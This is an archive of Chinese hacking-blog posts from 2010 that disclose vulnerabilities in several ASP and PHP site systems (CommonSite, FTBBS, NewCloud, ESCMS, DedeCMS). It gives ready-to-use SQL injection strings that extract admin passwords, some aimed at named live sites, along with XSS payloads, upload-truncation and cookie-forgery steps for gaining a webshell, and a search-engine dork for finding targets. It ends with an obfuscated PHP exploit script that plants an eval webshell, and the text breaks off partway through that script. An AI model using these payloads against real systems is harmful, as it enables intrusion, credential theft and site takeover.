浏览模式: 标准 | 列表2010年03月的文章

今天在中国站长网发现一个今天更新的程序,这程序是2009-12-10 13:05:53一点钟更新的,到我现在写这文章为止20.15分已经有云起企业建站系统CommonSite下载地址(已被下载8699次) 那么大的下载量了,我觉得这程序应该可以吧,后初步分析一下,这程序问题较大,
下面是该程序下载地址
http://down.chinaz.com/soft/22462.htm
一.后台登陆漏洞

我们来看management目录的login.asp文件

<%
if request.Form("submit")<>"" then
if request.Form("userid")="" or request.Form("password")="" then
response.Write("<script language=javascript>alert('用户名或者密码不能为空!');history.back();</script>")
response.end
end if

set rs=conn.execute("select * from gly where uid='"&trim(request.form("userid"))&"' and pwd='"&trim(request.form("password"))&"'")

是不是程序员写程序写错了???只用trim函数过滤了空格,然后后面写的“&"'")”这个啥意识?,可能程序员本是要用replace函数替换"但是没写这个函数,这样一来就直接出现了从客户端传递过来的数据,直接带入数据库查询了,这样我们就可以用'or'='or'登陆了.

二.暴库漏洞

我们来看该程序的数据库链接文件。

文件的路径在inc目录下文件名为conn.asp,还有个文件名为webconn.asp

两个文件代码是一样的,我们来看看代码

<%
db="../data/#CommonSite.asp" '数据库
'on error resume next '尝试连数据库,一直到超时,但可以加强SQL注入过滤
connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath(db)
'connstr="DBQ="+server.mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%>
<!--#include file="config.asp"-->

看见没有,虽然程序里面有on error resume next这句容错语句,但是前面居然用'注释掉了,这句话就没有起作用了这样还是造成暴库了

三.跨站漏洞,这程序很多地方有跨站漏洞

我随便找出一个给大家看看我们来看后台的basic.asp文件,这文件在management目录下这文件作用是修改网站基本信息,如标题等

我们来看其中的一段代码

if trim(request("do"))="edt" then
m_site_name = trim(request("site_name"))
m_keyword = trim(request("keyword"))
m_description = trim(request("description"))
m_copyright = trim(request("copyright"))
m_tel = trim(request("tel"))
conn.execute("update basic set site_name='"&m_site_name&"',keyword='"&m_keyword&"',description='"&m_description&"',copyright='"&m_copyright&"',tel='"&m_tel&"' where id=100")
response.Write("<script language='javascript'>alert('修改成功');window.location.href='basic.asp';</script>")
response.End()
end if

看见没有,只用trim函数过滤了空间就直接带入数据库进行修改操作了

所以这样我们只要插入代码就可以跨站了如<script>alert("fsfs")</script>

下面是演示效果 
大小: 18.36 K
尺寸: 500 x 183
浏览: 36 次
点击打开新窗口浏览全图

总结,这程序在安全方面做的太垃圾,看出该程序员对脚本安全并不在行,整个程序只有注入上做了一些防范措施,我们来看下面一段程序
if isnumeric(trim(request("c")))=false then
response.write("Id Err!")
response.End()
end if
用了isnumeric函数进行防注入,这招够狠的,呵呵完全杜绝了注入呵呵!!我这次初步分析了这程序,下次我会进一步分析,谢谢观看

Tags: 云起

云起企业建站系统CommonSite v3.80

Submitted by admin
2010, March 27, 8:16 PM

From:www.drzhc.com
Author:zHc
-------------------------------------------------------------

程序名字:云起企业建站系统CommonSite v3.80

源码地址:http://down.chinaz.com/soft/22462.htm

1、爆库漏洞

/inc/webconn.asp

 

2、'or'='or'漏洞

/management/login.asp

第11行:复制内容到剪贴板 程序代码
set rs=conn.execute("select * from gly where uid='"&trim(request.form("userid"))&"' and pwd='"&trim(request.form("password"))&"'")

3、图片上传漏洞

/infopict.asp

第18行:复制内容到剪贴板 程序代码
formPath=upload.form("filepath")

第53行:  复制内容到剪贴板 程序代码
file.SaveAs Server.mappath(formPath&FileName)

抓包NC上传。

大小: 43.14 K
尺寸: 500 x 194
浏览: 38 次
点击打开新窗口浏览全图

关键字:   inurl:arti_show.asp
             inurl:arti.asp

Tags: 云起

文章作者:Cschii 摘自:黑防
[关键字]:飞天系统,注入,被动防注入,跨站,任意删除,暴库,写马
[技术要点]:文章对飞天论坛和下载两种系统的注入、跨站、任意删除、暴库、写马等漏洞的触发原理和利用方法做了详细分析和阐述,并对ftbbs官网做了检测,这些也从侧面证明了被动式防注入的缺陷,有兴趣的读者可以对照分析动易防注入语句,领悟其主动式防注入的优越,可以说“事半功倍”、“一劳永逸”(当然这只是相对而言)。文章同时介绍了一个Access现象:当Access的Sql语句中没有单引号时,表名称后的单引号可以用作注释符!在Access查询窗口测试时,请注意Sql语句最后不能换行!
[主要内容]:
    I、飞天论坛ASP版
    首先我们需要了解ftbbs防注入措施:1)在conn.asp中使用“request.servervariables("query_string")”过滤了单双引号、Sql关键字等,同时还过滤了“%”号——这是非常必要的!6.8版本就是因为没有过滤“%”导致防注入被绕过!2)对于Post变量使用Checkstr、CheckCharStr等函数过滤;3)对于Cookie变量使用getcookie函数过滤,限制clubuser_id、bz、bbsadmin、payuser、bokeer等变量为数字,其他变量过滤单引号、逗号、分号等。看起来ftbbs的过滤还是比较严密的,Request.QueryString、Request.Cookie方式注入基本被排除了,如果它对变量都做了这些过滤的话,也算是一套安全的系统,然而事实并非如此!尽管在conn.asp文件的52行有段注释“POST SQL注入”,但是飞天使用的防Post注入只是被动的,不像动易那样是主动的,即一旦因疏忽没有使用Checkstr函数过滤时将导致注入!所以我们的思路就是查找那些以POST方式获取且没有过滤的变量。
    一、request方式注入:以request方式获取变量时没有过滤导致注入。
    漏洞一、main.asp、bbspoll.asp、fbht.asp页面中的layer_1和layer_2变量导致注入。但是请注意这些变量涉及到多处语句,且返回的字段数不一致!

Code:

ASP将忽略Access的Sql语句错误继续向下执行,页面并不会被终止!
当Access的Sql语句中没有单引号时,表名之后的单引号被视为注释符号!比如:“select * from ft_ftbbs_admin 'kkkk”


    分析略,可以使用“飞天论坛最新漏洞利用工具”注入,“漏洞利用工具”附后。
     漏洞二、memberlist.asp会员列表页面,变量str_sort没有过滤导致注入,需要登陆。代码如下:

Code:

str_sort=request("order_key")
if str_sort="" then
str_sort="clubuser_id"
end if
…(略)
sql="select clubuser_id,clubuser_name,clubuser_sex,clubuser_enter_count,clubuser_reg_date,clubuser_lasttime,postnum,jingyuan from "&ft&"clubuser order by "&str_sort&" desc"        
//注入语句
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


    很明显的注入漏洞,关键是“Order by”中的注入,给出语句如下:

Code:

//测试语句,在Access查询中执行,最后的单引号用作注释符号
select clubuser_id,clubuser_name,clubuser_sex,clubuser_enter_count,clubuser_reg_date,clubuser_lasttime,postnum,jingyuan from ft_clubuser order by clubuser_id union select 1,2,3,4,5,6,7,8 from ft_ftbbs_admin' desc
//注入语句,从测试语句“order by”后获得注入语句,表名后的单引号作注释符号,当然也可以指定字段进行排序
clubuser_id union select 0,admin_user,admin_pwd,4,5,6,7,8 from ft_ftbbs_admin'


     需要注意的是利用此漏洞必须登录用户,然后再用当前窗口打开漏洞利用工具。
     漏洞三、mysms.asp短消息搜索页面的smtype变量没有过滤导致注入,需要登陆。代码如下:

Code:

if request("searchstr")<>"" or request("smtype")<>"" then
searchstr="and "&request("smtype")&" like '%"&Checkstr(request("searchstr"))&"%'"
// smtype变量没有过滤,导致注入
end if
if request("t")="my" then
sql="select * from "&ft&"sms where sender='"&username&"' "&searchstr&" and bbssystem=0 order by indate desc"
else
sql="select * from "&ft&"sms where (((bbssystem=2 or bbssystem=0) and accepter='"&username&"') or bbssystem=1) "&searchstr&" order by indate desc"
end if
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


   同样利用此漏洞必须登录用户,然后再用当前窗口打开漏洞利用工具。
    二、form方式注入:以form方式获取变量时没有过滤导致注入。
    漏洞一、blogsearch.1.asp页面存在注入,即框架结构首页上部的“文章搜索”,代码如下:

Code:

searchword=Checkstr(request.form("searchword"))
fieldstr=Checkstr(request.form("fieldstr"))                //过滤了单引号和逗号
sql="SELECT * FROM "&ft&"ftblog WHERE sign=0 and "&fieldstr&" like '%"&searchword&"%' order by id desc"                //作为字段名引入语句,无单引号
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


    绕过逗号的方法,笔者曾多次提过,本文就不再重述,直接给出构造的union语句如下:

Code:

0 union select * from ((ft_ftbbs_admin a left join ft_ftbbs_admin b on a.admin_user=b.admin_user) left join ft_BBS_Poll c on c.id=a.id) union SELECT * FROM ft_ftblog where blogtitle
//凑字段数:21=6+6+9,ft_ftbbs_admin 字段数为6,ft_BBS_Poll字段数为9


    无需登陆,可以直接使用漏洞利用工具。
    漏洞二、recheck.asp回复帖子页面的remenu变量没有过滤导致注入,需要登陆。代码如下:

Code:

remenu=trim(request.form("remenu"))

'++++++++++++++++引用+++++++++++++++++++
if InStr(remenu,"[ftquote]")>0 then
        …(略)//类似“
Quote:

end if
if InStr(remenu,"[quote]")>0 then
        wz = InStr(remenu,"
") - (InStr(remenu,"
Quote:
")+7)        'id位数
        plkey = Mid(remenu,InStr(remenu,"[quote]")+7,wz)                        '求出引用ID关键字
        keyLY2=Mid(remenu,InStr(remenu,"[quote]"),7+8+InStr(remenu,"
") - (InStr(remenu,"
Quote:
")+7))                '求出欲替换的字符串
        set rs1=server.createobject("adodb.recordset")
        rs1.open "select top 1 * from "&ft&"bbsmenu where id="& plkey,conn,1,1
        //构造合适的plkey值触发注入!plkey值为“[quote]”与“
”之间的字符串
        if not rs1.eof then
        keyxx="<font color=#568AC2>引用回复: "& rs1("user_id")&"</font>" '" ["& left(rs1("ip"),InStrRev(rs1("ip"),".")) &"*" &"] :</font>"
        keyLY="<table width=99% border=0 align=center cellpadding=4 cellspacing=1 bgcolor=#999999><tr><td bgcolor=#ffffee>"& keyxx &"<br>"& rs1("remenu") &"</td></tr></table>"  '取出欲引用内容即替换后内容
        end if
        rs1.close
        set rs1=nothing
        remenu=Replace(remenu,keyLY2,keyLY)
end if
'+++++++++++++++++++++++++++++++++++++++


    可见只要我们在构造出合适的回复内容便可以触发注入漏洞了。
    回复注入。给出回复的内容如下,直接在帖子下方的回复内容处输入如上内容,回复后即可获得管理员密码!

Code:


Quote:
0 union select 1,2,3,4, admin_user,6,7, admin_pwd,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    图略,但是这样有些太明目张胆了,于是使用“<%%>”隐藏内容,于是将回复内容修改如下,其中“0x3c002500”Sql执行后返回为“<%”,“0x25003e00”为“%>”。

Code:


Quote:
0 union select 1,2,3,4,0x3c+admin_user+0x3e,6,7,'要显示出来的迷惑内容'+0x3c002500+admin_pwd+0x25003e00,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    回复跨站。Ftbbs在防跨站方面做得还很不够,仅过滤了“script”和“iframe”跨站标签,防跨站代码如下:

Code:

remenu = htmlencode2(remenu)
//定义在inc/htmlencode2.asp中,替换“<”为“<”,“>”为“>”等
remenu = fthtmlcode(remenu)
//定义在inc/ubbcode.asp中,注意是fthtmlCode并非fthtmlEncode,该函数又将“<”还原为“<”等!
remenu = ubbcode(remenu)
//将UBBCode格式还原为HTML格式
remenu = RegExReplace(remenu,"\b(script)\b"," $1 ")
remenu = RegExReplace(remenu,"\b(iframe)\b"," $1 ")
//在关键字“script”和“iframe”前后插入空格,使得这两个标签失效!


    不难看出关键字过滤较少,而跨站脚本实在是太灵活了,比如“<img src=javascript:alert("XSS")>”等。需要注意的是编辑器(fteditor/editor.js)会将“<”、“>”转为“<”和“>”,所以在“所见即所得模式”中不能直接使用,但是在“FTBBS代码模式”中却可以直接使用“<”、“>”。本文使用“
Quote:
”引用模式写入跨站脚本。回复如下内容:

Code:

[quote]0 union select 1,2,3,4,5,6,7,0x3c+'img src=javascript:alert("XSS!回复跨站!")'+0x3e,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    漏洞三、签名档跨站。文件moduseract.asp对于签名档变量signname仅仅用Checkstr函数做了防注入过滤,没有防跨站,可以直接输入跨站脚本(有长度150限制)。分析略,在“个人资料”中“签名档”栏输入脚本“<iframe src=http://www.baidu.com></iframe>”,如图17,于是在帖子该用户的签名档实现跨站!如图18。详细利用本文不作讨论。
     漏洞四、editpostact.asp文件的pid、reid、BoardID_1、BoardID_2等变量没有过滤,导致注入,需要登陆。
     注入。因为pid变量涉及多处语句构造union语句比较苛刻,所以仅限于手工注入,reid变量虽然可以注入,但是无法获得注出结果!另外编辑页面editpost.asp利用“or” 可以查看任意帖子内容。
移花接木。只要注册的用户名是多版主的版主名中的一部分,即可获取版主权限,编辑别人帖子!比如:

Code:

Ftbbs官网:
论坛首页>>FTBBS讨论 >> 安装指南 版主:ftbbs,网神:可以注册ftb、ftbb等
        论坛首页>>FTDMS讨论 >> BUG反 馈  版主:ftbbs,oo00oo:可以注册oo0等
        论坛首页>>站长交流 >> 源码发布  版主:ftbbs,zzzz,chinaymz,ftdms


    在官网注册“chinay”用户(版主名“chinaymz”的一部分),便可以编辑修改“源码发布”中的帖子了!
    三、任意删除:漏洞导致任意删除数据库表中内容和文件,高危!!
    漏洞一、pldelop.asp页面由于op、tp变量没有过滤,导致可以删除任意表中的内容!利用时需要登陆。代码如下:

Code:

op=Request.form("op")
tb=Request.form("tb")
…(略)
PiLiangZhuanZheng
Sub PiLiangZhuanZheng
select case op
case "选择删除"
        …(略)
        for i=1 to del_count
                id=request.form("checkbox1")(i)
        sql="delete from "&ft&tb&" where id="&id                //tb变量可以外部提交!
            conn.execute sql
        next
        …(略)
end select
End Sub


    由于tb可以外部提交,如果令id为“0 or 1”时,即可删除任意指定表中所有记录!比如管理员表ftbbs_admin,漏洞等级为高危!
    漏洞二、edit_photo.asp页面变量pic没有过滤导致可以删除任意文件。代码如下:

Code:

if request("act")="y" then
…(略)
  set upload=new Ftbbs_Class
…(略)
  pic=upload.form("pic")                //从表单获取pic变量
  inFolder=split(pic,"/")(0)                //取路径中第一级目录
  formPath=inFolder&"/"&userid
  if right(formPath,1)<>"/" then formPath=formPath&"/"
if upload.isErr then
        …(略)
else
    for each formName in upload.file '列出所有上传了的文件
           set oFile=upload.file(formname)
           …(略)
     '删除旧图片
     MypicFile = pic                        //直接返回从表单获取的pic变量,漏洞被触发
     DelFile MypicFile,fso        //删除文件
…(略)


    因为MypicFile变量是直接返回从表单获取的、没有经任何过滤的pic变量,如果将pic修改为要删除的文件名,那么将导致该文件被删除!详细利用方法参见文章。
    四、暴库与写马:漏洞导致可以下载页面文件,通过config.asp达到暴库目的,而且可以直接写马,秒杀ftbbs!
    漏洞一、暴库。此漏洞的危害是不言而喻的,暴数据库路径、获取表名前缀等,这使得我们的注入畅通无阻,随后将在“实测ftbbs官网”一节中进行示例。问题出在down.asp文件,绕过限制即可下载指定的文件,比如config.asp,达到暴库目的。

Code:

id=cint(request.QueryString("id"))        //使用了cint过滤,不存在漏洞
…(略)
sql="select top 1 upload_pic,clubuser_id,sale from "&ft&"ftbbs_upload where id="&id
set rs=conn.execute(sql)
uploadfile=rs("upload_pic")                //从upload_pic字段取出包含路径的文件名
FileName=split(uploadfile,"/")(1)        //返回文件名,正常情况下路径要求是一级目录
userid=rs("clubuser_id")
sale=int(rs("sale"))
if sale>0 then '出售附件
        …(略)
else
  if topqs=1 or clubuser_id=""&userid&"" or cookiesbz=1 or cookiesfbz=1 then
   down        
//只允许软件上传作者、版主、超级版主等下载,down函数利用ADODB.Stream组件下载文件,扩展名后加空格即可绕过下载类型的限制。
  else
        …(略)
  end if


    关键是如何控制ft_ftbbs_upload表的upload_pic字段值,只要我们能将想要下载的文件名写入该字段,随后的down函数会忠实地下载下载到该文件。至于后面的“只允许软件上传作者、版主、超级版主下载”和“down函数中限制下载ASP等类型”的限制不足为虑,我们修改自己上传的软件或者直接利用漏洞提升自己为版主、超级版主就可以通过第一个限制,扩展名后加空格等就可以通过第二个限制。
    详细利用参见文章。
    漏洞二、编辑帖子页面editpostact.asp写马。分析利用参见文章。
    漏洞三、后台写马。利用后台“论坛基本参数设置”设置“生成静态文件扩展名”为asp,但是正常情况下,ftbbs只提供了htm、html、shtml三种类型,这就需要我们外部提交asp类型。
    五、6.8版本的问题
    飞天论坛ASP版的6.8版本(下载地址http://www.ftbbs.cn/ftbbs_gbk_v6.8.rar)因为没有过滤“%”导致使用字符的URL编码形式绕过request.servervariables("query_string")防注入,使得ftbbs的安全防线全线崩溃。而且6.8在使用request.cookies获取Cookie时也没有过滤,导致userlogin函数存在注入等。
    由此可以得出6.8与7.x区别是:前者可以使用“%”的URL编码形式绕过防注入,down.asp文件使用Response.Redirect转向要下载的文件,而后者不能使用“%”绕过,down.asp文件利用ADODB.Stream组件下载文件。所以6.8版本反而没有7.x的暴库漏洞
    II、实测ftbbs官网
    网址http://www.ftbbs.cn/index.asp,框架结构。
    一、检测blogsearch.1.asp页面确认存在漏洞。
    二、暴库。
    注册并登陆用户,进入“个人空间”的“控制面板”,首先创建“MyPhoto”相册,然后打开“相册管理”的“网上传图”,接着在“相片URL”栏输入“coon.asp”,如图。
返回“相册管理”,获得该“图片”的id值,如“2454”,如图。
请求链接http://www.ftbbs.cn/down.asp?id=2454”下载到config.asp文件,最后还要记住删除掉该“图片”。
    直接下载数据库文件失败,数据库中好像已被写入了不正确的ASP代码,导致执行错误。但是我们暴出了ft变量,于是我们检测注入。
    三、检测其他注入、登陆后台、检测编辑页面写马漏洞等,参见原文章。
    四、“官方公告”挂马。利用ftbbs服务器这个“官方公告”功能来影响所有飞天论坛的后台!分析Admin/Admin_Index_Top.asp文件,熟悉的跨站网页插马代码!虽然我们不能修改用户ftbbs系统的Admin_Index_Top.asp文件,那么换个思路:既然我们掌控了ftbbs服务器,那么修改http://www.ftbbs.cn/bbs/ftbbsboard.asp”文件不就可以了。
于是当我们拿下ftbbs服务器后,可以在ftbbsboard.asp文件中植入恶意脚本,完成批量获取管理员Cookie、页面挂马、自动添加管理员、传播蠕虫病毒等攻击,这对于使用飞天论坛的管理员来说,简直是一种噩耗!现在很多系统都在用户页面增加了这种“官方公告”之类的功能,这固然能更好地与用户互动,但是一旦服务器被入侵拿下,无辜的用户将再次被推向灾难的风尖浪头!
    III、飞天论坛PHP版
    百度搜索特征页面“inurl: ftbbshome.php”、“inurl:main.php?layer_1”或“inurl: default_list.php”获得使用飞天论坛PHP版建站的网站。
    漏洞一、mysms.php页面数字型变量smtype没有过滤导致注入,代码如下:

Code:

$searchstr=ftbbs_request($_POST["searchstr"]);
$smtype=ftbbs_request($_POST["smtype"]);        //使用ftbbs_request函数转义引号等
$t=$_GET["t"];
if ($searchstr!="" || $smtype!=""){        
   $searchstr="and ".$smtype." like '%".$searchstr."%'";        //但是引入smtype时没有引号!
}
if ($t=="my"){
   $sql="select * from {$tablepre}sms where sender='".$username."' ".$searchstr." and bbssystem=0 order by indate desc";
}
else{
   $sql="select * from {$tablepre}sms where (((bbssystem=2 or bbssystem=0) and accepter='".$username."') or bbssystem=1) ".$searchstr." order by indate desc";
}

$p = new ft_page;
$rs=mysql_query($sql);
…(略)


    使用漏洞利用工具的“mysms.php”漏洞,注入语句与“mysms.asp”相同。
假如安装时修改了默认的表名时如何注入!这种情况对于Access数据库将无可奈何的,但是对于MySql数据库则不算问题,因为可以通过数据库information_schema的表SCHEMATA和TABLES猜解到所有数据库名和表名,语句如下:

Code:

//猜数据库
select SCHEMA_NAME from information_schema.SCHEMATA
//猜指定数据库中的所有表名,“0x6674646d73”即字符串“ftdms”
select TABLE_NAME from information_schema.Tables where TABLE_SCHEMA=0x6674646d73


    在漏洞利用工具的“mysms.php”漏洞中使用的完整注入语句如下:

Code:

//猜数据库,如图50
1 union select 1,2,SCHEMA_NAME,4,5,6,7,8,9,10  from information_schema.SCHEMATA limit 0,5 union select * from ft_sms where title
//猜数据库ftdms中的表名,如图51
1 union select 1,2,TABLE_NAME,4,5,6,7,8,9,10  from information_schema.TABLES where TABLE_SCHEMA=0x6674646d73 limit 0,5 union select * from ft_sms where title
//由于页面分页显示,所以使用“limit 0,5”从第0条开始显示5条记录,此语句可以正常执行,可见limit参数也是可以注入的!


利用load_file函数暴库。将上面注入语句的第3个字段换为load_file函数,比如“load_file('D:\\xampp\\htdocs\\ftbbs_php\\inc\\config.php')”,即可暴库,需要注意的是:load_file函数使用的是绝对路径,路径中的“\”必须使用转义符为“\\”。因为提交字符中的单引号会被转义,所以load_file函数中的文件名改为“0x”格式,首先在本地MySql命令行中使用“select hex('D:\\xampp\\htdocs\\ftbbs_php\\inc\\config.php')”语句获得“443A5C78616D70705C6874646F63735C66746262735F7068705C696E635C636F6E6669672E706870”,所以暴库语句如下:

Code:

1 union select 1,2,load_file(0x443A5C78616D70705C6874646F63735C66746262735F7068705C696E635C636F6E6669672E706870),4,5,6,7,8,9,10 union select * from ft_sms where title


    使用注入工具提交后,查看页面源码获得inc/config.php文件内容,如图52。需要注意当前MySql用户必须有使用load_file函数的file_priv权限,可以使用“select user, file_priv from mysql.user”语句获得MySql用户的file_priv权限情况。
    漏洞二、由于GetUserIP()函数使用HTTP_X_FORWARDED_FOR获取IP时没有过滤,导致注入、暴库、挂马。
    IV、飞天下载系统
    飞天下载ASP版与飞天论坛ASP 6.8版类似,文件conn.asp中的防注入缺少对“%”的过滤,可以绕过导致注入。以rss.asp页面为例,代码如下:

Code:

listid=request.QueryString("listid")
sortid=request.QueryString("sortid")
str=""
if listid<>"" and sortid="" then
str=" where Hide=0 and ListID="&listid        //数字型变量listid导致注入
elseif  listid<>"" and sortid<>"" then
str=" where Hide=0 and ListID="&listid&" and sortid="&sortid&""
end if
SQL = "Select top 20 * from "&dms&"soft "&str&" order by softupdate desc"
set rs=conn.execute(SQL)
…(略)


    构造union语句和注入链接如下:

Code:

//union注入语句,表名前缀默认为ftdmsue
0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from ftdmsue_admin
//利用URL链接如下,%73为s,%66为f
http://127.0.0.1/ftdms3.6/rss.asp?listid=0%20union%20%73elect%201,id,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin_pwd,18,admin_user,20,21,22,23,24,25,26,27%20%66rom%20ftdmsue_admin


    最后检测了chinaymz.com(中国源码站),这里需要注意飞天下载系统在验证后台登陆(admin/adminlogin.asp)时,使用的ft变量作为表名前缀,而其他表使用dms作前缀。所以注入链接如下:

Code:

http://www.chinaymz.com/rss.asp?listid=0%20union%20%73elect%201,id,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin_pwd,18,admin_user,20,21,22,23,24,25,26,27%20%66rom%20ftbsk_admin
//注意:表名前缀使用“ftbsk_”,而非“ftdsk_”!


部分内容及图片请读者详细参阅原文,本文提及的“漏洞利用工具”仅限于学习和测试使用。

Tags: 飞天, ftbbs

科讯 v6.5 CMS Oday

Submitted by admin
2010, March 14, 8:26 AM

后台:写入网站kesion目录如http://localhost
cookies:登录后抓取到的USER的COOKIS
帐号密码:注册后可以正常登录的用户名密码
验证码:登录时的验证码,抓图后填入

操作,先输入网站,先在网站注册一个正常用户,可以直接写入帐号密码,得到验证码图片后登录后上传,也可以直接用工具抓登录后的 COOKIE,直接点上传得到SHELL

附件: kesion.rar (24.86 K, 下载次数:64)

Tags: 科讯

新云4.0注册上传漏洞(最新漏洞0day)

Submitted by admin
2010, March 13, 10:23 PM

发布日期:2010-03-09

影响版本:新云4.0最新

漏洞描述:

把下面配置文件保存为(xunyun.seraph)


url=http://localhost/users/upload.asp?action=save&ChannelID=1&sType=

filefield=File1

filefield2=

filename=200981623554.cer;.gif

filename2=

local=C:\Documents and Settings\Any\桌面\1.jpg

local2=

type=text/html

type2=image/gif

cookies=pma_cookie_username-1=dXsYNCw7jXS1W0oq9sYg4g%3D%3D; style_cookie=null; AJSTAT_ok_times=1; lastvisit=3934%7C1266468378; csscolor=0; songhidden=0; NewAspUsers=UserToday=0%2C0%2C0%2C0%2C0%2C0&userlastip=127%2E0%2E0%2E1&UserGroup=%C6%D5%CD%A8%BB%E1%D4%B1&UserGrade=1&nickname=seraph&password=4283705e6519c904&UserClass=0&username=seraph&LastTime=2010%2D3%2D9+0%3A10%3A01&userid=1; ASPSESSIONIDSASQQRBT=BKLHHGICELEMHKBMKOBHIGBA; NewAspUsers%5FOnline=UserSessionID=8304709; usercookies%5F1=dayarticlenum=0&daysoftnum=0&userip=127%2E0%2E0%2E1; ASPSESSIONIDQCRRTRBS=PCOHKAJCAPDEFNADGPDDMLBM

name=uploadPic&value=1421

name=Rename&value=1
复制代码准备工作做好了,开始拿SHELL了

1.先找一个可以注册上传图片的新云程序

2.登录后抓取COOKIE内容

3.打开软件,加载刚刚保存的配置文件

4.修改COOKIE以及上传的地址,网址

5.打开http://localhost/users/upload.asp?ChannelID=1,里面找到uploadpic的值


6.双击uploadpic,修改为刚刚得到的值,这是一个验证码,要保证没有刷新页面才行

7.本地文件第一个改成自己要上传的木马

8.点击上传,如果上传失败则试试上传2

9.手动抓取上传地址!
Tags: 新云

ESCMS cookies欺骗漏洞

Submitted by admin
2010, March 8, 1:53 PM

影响版本:
ESCMS V1.0 SP1 Build 1125漏洞描述:
<%
if Request.cookies(CookiesKey)("ES_admin")="" then
''注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空
''CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2
Call Err_Show()
Response.End()
End if
......
%>
首先我们打开http://sitedir.com.cn/admin/es_index.html

然后在COOKIE结尾加上
; ESCMS$_SP2=ES_admin=st0p;

修改,然后刷新

进后台了嘎..

然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL,看代码
复制内容到剪贴板
代码:
......
formPath=upload.form("filepath") ''此处没有过滤
if formPath="" then
formPath="../Upfile"
end if
Dim formPath1
formPath1="Upfile/"
''在目录后加(/)
if right(formPath,1)<>"/" then
formPath=formPath&"/"
end if
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if

''randomize
ranNum=int(90000*rnd)+10000
Dim tempname,temppath
tempname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
temppath=formPath1&tempname
filename=formPath&tempname
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
result=file.SaveToFile(Server.mappath(filename)) ''保存文件,这里地址就会变成我们截断的SHELL名称
......
<*参考
http://www.sitedir.com.cn/exploit-1149.html
*>
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.

成功了,shell地址为http://www.sitedir.com.cn/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..

在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了,因为此版本用 session来验证登陆…
Tags: escms

dedecms5.1再暴注入漏洞

Submitted by admin
2010, March 8, 1:52 PM

发布日期:2010-03-08
发布作者: jackal
漏洞描述:

member_guestbook_action.php
$title = cn_substr(html2text($title),60);  $msg = cn_substr(stripslashes($msg),2048);  if($cfg_ml->M_UserName!="" && $cfg_ml->M_ID!=$uidnum) $gid = $cfg_ml->M_UserName;  else $gid = '';  $inquery = "  INSERT INTO dede_member_guestbook(mid,gid,title,msg,uname,email,qq,tel,ip,dtime)  VALUES ('$uidnum','$gid','$title','$msg','$uname','$email','$qq','$tel','".GetIP()."',".mytime().");  ";   一般的注射..
cn_substr在别处有别的错.这里无所谓了.

漏洞测试:

cccccc',(select concat(userid,0x3a,pwd) from dede_admin limit 0,1),'','','','123',123)#
Tags: dedecms

DedeCms v5.5 0day

Submitted by admin
2010, March 8, 1:50 PM

官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志

复制内容到剪贴板
代码:
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';

get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
